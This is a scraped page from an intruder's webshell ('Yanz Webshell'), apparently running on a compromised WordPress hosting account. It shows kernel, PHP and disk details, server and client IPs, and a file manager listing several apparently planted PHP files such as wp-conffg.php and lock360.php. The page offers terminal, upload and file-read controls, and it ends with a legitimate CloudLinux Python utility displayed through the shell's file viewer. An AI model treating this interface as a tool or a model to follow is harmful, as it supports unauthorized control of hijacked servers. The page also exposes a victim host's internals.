Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
8.3.30 Safe mode: OFF Datetime: 2026-05-06 00:24:12
3907.15 GB Free: 1076.01 GB (27%)
/home/repauqkb/public_html/ drwxr-x--- [ root ] [ home ] Text

Server IP:
198.54.116.179
Client IP:
216.73.216.147
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-05-05 09:27:21drwxr-x---Rename Touch
[ .. ]dir2025-04-18 09:10:57drwx--x--xRename Touch
[ wp-admin ]dir2026-05-05 01:36:32drwxr-xr-xRename Touch
[ wp-content ]dir2026-05-05 01:36:33drwxr-x---Rename Touch
[ wp-includes ]dir2026-05-05 01:36:38drwxr-xr-xRename Touch
.hcflag31 B2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
.htaccess626 B2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
.htaccess.bk243 B2026-04-28 01:30:21-rw-r--r--Rename Touch Edit Download
.litespeed_flag297 B2026-05-05 01:36:06-rw-r--r--Rename Touch Edit Download
error_log19.54 MB2026-05-06 00:24:11-rw-r--r--Rename Touch Edit Download
goods.php173.77 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
index.php16.36 KB2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
lock360.php1.40 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
options-privacy-more.php768 B2025-06-24 17:01:07-rw-r--r--Rename Touch Edit Download
qinfofuns.php12.90 KB2026-04-23 18:25:11-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-activate.php7.18 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-conffg.php122.70 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-config.php3.55 KB2026-03-27 14:45:59-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-crrm.php77.12 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-login.php50.23 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-settings.php30.33 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.09 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wper.php16.31 KB2026-01-27 01:19:39-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
yeni.php27.21 KB2026-04-23 17:49:33-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

HEX
HEX
Server: LiteSpeed
System: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: repauqkb (12019)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: //opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/lib/cloudlinux_statsnotifier.py
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

import pwd
import logging
import argparse
import json
import shutil
import os
import subprocess
from typing import Tuple, Dict

from clcommon.utils import run_command
from lvestats.lib import config
from lvestats.lib.config import USER_NOTIFICATIONS_OFF_MARKER
from lvestats.lib.commons.logsetup import setup_logging
from lvestats.lib.commons.func import user_should_be_notified
from lvestats.plugins.generic.statsnotifier import get_stats_notifier_parameters
from lvestats.lib.commons import dateutil


def execute(args: argparse.Namespace, log: logging.Logger) -> Tuple[str, int]:
    """
    Generic method to analyze options and call needed funcs
    """
    if not args.json:
        return 'Only JSON mode supported for now', -1

    current_user = os.getuid()
    if current_user == 0 and not args.id:
        return 'Please, specify user id via --id option', -1

    try:
        if args.notifyUser is not None:
            result = manage_user_notifications(args.id, args.notifyUser)
        else:
            result = get_notifications_settings(args.id)
    except Exception as e:
        result = {
            'result': f'error: {e}',
            'timestamp': dateutil.gm_datetime_to_unixtimestamp(),
        }
        log.error(str(e))
    json_str = json.dumps(result)
    return json_str, 0


def get_notifications_settings(user_id: int) -> Dict:
    """
    Returns notification settings
    """
    result = {'result': 'success', 'timestamp': dateutil.gm_datetime_to_unixtimestamp()}
    current_user = os.getuid()
    target_user = current_user if not current_user == 0 else user_id
    username = pwd.getpwuid(target_user).pw_name
    result['notifyUser'] = user_should_be_notified(username)
    result['notificationsAllowed'] = is_notifications_allowed(username)
    return result


def is_notifications_allowed(user: str) -> bool:
    """
    Checks if notifications allowed by admin/reseller
    """
    if os.getuid() == 0:
        return get_stats_notifier_parameters(user)
    else:
        result = subprocess.run(['/usr/share/lve-stats/lve_stats_configs_reader',
                                 'notification_allowed'],
                                text=True, capture_output=True, check=False)
        if result.returncode != 0:
            raise ValueError(f'Unable to get "notifications_enabled" parameter, reason: {result.stdout} \n '
                             f'{result.stderr}')
        result = json.loads(result.stdout.strip())
        return result.get('notification_allowed') is True


def handle_users_notifications(user_id: int, should_be_enabled: bool) -> None:
    """
    Turns on/off notifications per user by creating/removing
    notifications marker file
    """
    cagefs_enter_user = '/sbin/cagefs_enter_user'
    cagefs_enter = shutil.which('cagefs_enter')
    user_info = pwd.getpwuid(user_id)
    lvestats_dir = os.path.join(user_info.pw_dir, '.lvestats')
    marker_path = os.path.join(lvestats_dir, USER_NOTIFICATIONS_OFF_MARKER)
    if not should_be_enabled:
        if os.getuid() == 0:
            run_command([cagefs_enter_user, user_info.pw_name, 'mkdir', '-p', lvestats_dir])
            run_command([cagefs_enter_user, user_info.pw_name, 'touch', marker_path])
        else:
            run_command([cagefs_enter, 'mkdir', '-p', lvestats_dir])
            run_command([cagefs_enter, 'touch', marker_path])
    else:
        if os.path.exists(marker_path):
            if os.getuid() == 0:
                run_command([cagefs_enter_user, user_info.pw_name, 'rm', '-f', marker_path])
            else:
                run_command([cagefs_enter, 'rm', '-f', marker_path])


def manage_user_notifications(user_id, should_be_notified: bool) -> Dict:
    """
    Managing user`s notifications by checking input opts,
    validating and calling creation/removing of notifications marker file
    """
    result = {'result': 'success', 'timestamp': dateutil.gm_datetime_to_unixtimestamp()}
    current_user = os.getuid()

    target_user = current_user if not current_user == 0 else user_id
    handle_users_notifications(target_user, should_be_notified)
    return result


def main(args_):
    """
    Main entrypoint
    """
    cnf = config.read_config()
    log = setup_logging(cnf, caller_name="CloudLinuxStatsnotifier",
                        file_level=logging.WARNING,
                        console_level=logging.FATAL)

    parser = argparse.ArgumentParser(
        description='%(prog)s - CLI utility for configuring CloudLinux statistics notifier',
        prog='cloudlinux-statsnotifier'
    )
    parser.add_argument(
        '-j', '--json',
        help='return data in JSON format',
        action='store_true')
    parser.add_argument('--id', help='User id', type=int)
    parser.add_argument('--notifyUser', type=lambda x: (str(x).lower() == 'true'))
    args = parser.parse_args(args=args_)

    json_str, exit_code = execute(args, log=log)
    print(json_str)
    return exit_code